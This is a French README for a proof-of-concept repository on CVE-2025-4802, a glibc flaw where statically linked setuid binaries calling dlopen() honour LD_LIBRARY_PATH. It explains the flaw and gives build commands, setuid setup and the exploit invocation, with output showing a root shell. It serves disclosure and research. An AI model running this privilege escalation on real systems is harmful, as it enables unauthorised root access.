
Preuve de concept pour un binaire setuid compilé statiquement et vulnérable à dlopen avec LD_LIBRARY_PATH
⚠️ Avertissement : Ce dépôt est destiné uniquement à des fins éducatives et de recherche en sécurité autorisée. N'utilisez pas cet exploit contre des systèmes que vous ne possédez pas ou pour lesquels vous ne disposez pas d'une autorisation explicite de test. Une utilisation abusive peut enfreindre les lois et réglementations.
| Champ | Détails |
|---|---|
| ID CVE | CVE-2025-4802 |
| Logiciel affecté | GNU C Library (glibc) |
| Versions affectées | 2.27 – 2.38 |
| Type de vulnérabilité | Élévation de privilèges via LD_LIBRARY_PATH non fiable |
| Vecteur d'attaque | Local |
Une vulnérabilité dans les versions 2.27 à 2.38 de la GNU C Library (glibc) permet à un attaquant d'exploiter la variable d'environnement LD_LIBRARY_PATH dans des binaires setuid compilés statiquement qui appellent dlopen().
Normalement, l'éditeur de liens dynamique assainit LD_LIBRARY_PATH pour les programmes setuid. Cependant, les binaires compilés statiquement contournent entièrement l'éditeur de liens dynamique, de sorte que LD_LIBRARY_PATH n'est jamais nettoyé. Lorsqu'un tel binaire appelle dlopen() (directement, ou indirectement via setlocale() ou des fonctions NSS comme getaddrinfo()), glibc résout les bibliothèques partagées en utilisant le LD_LIBRARY_PATH contrôlé par l'attaquant, permettant l'exécution de code arbitraire avec des privilèges élevés.
dlopen("myso.so", ...) pour charger un objet partagé par nom (et non par chemin absolu).ld-linux.so) ne s'exécute jamais, donc LD_LIBRARY_PATH n'est pas assaini.myso.so) qui exporte le même symbole hello() mais lance un shell root.LD_LIBRARY_PATH pour pointer vers le répertoire contenant la bibliothèque malveillante..
├── main.c # Vulnerable setuid binary source
├── myso.c # Legitimate shared object (safe)
├── evil_library/
│ └── evilso.c # Malicious shared object (spawns root shell)
├── proof_of_concept_screenshot.png # Terminal screenshot of the exploit
├── proof_of_concept_video.mp4 # Video walkthrough
├── Makefile # Build automation
└── README.md
ldd --version)gcc, makemake all
Ou manuellement :
# Build the legitimate shared object
gcc -shared -o myso.so -fPIC myso.c
# Build the vulnerable binary (statically linked)
gcc -static -o main main.c -ldl
# Build the malicious shared object
gcc -shared -o evil_library/myso.so -fPIC evil_library/evilso.c
sudo chown root:root main
sudo chmod u+s main
./main
Sortie attendue :
BEGINNING OF MAIN
Hello from the safe shared object!
END OF MAIN
LD_LIBRARY_PATH (comportement malveillant)LD_LIBRARY_PATH=./evil_library ./main
Sortie attendue :
BEGINNING OF MAIN
I'm evil now
EXEC TO ROOT SHELL
# whoami
root
Le binaire charge le myso.so de l'attaquant depuis evil_library/ au lieu du légitime, lançant un shell root.

Une démonstration vidéo est également disponible : proof_of_concept_video.mp4
dlopen()dlopen() au lieu de simples noms de bibliothèquesdlopen()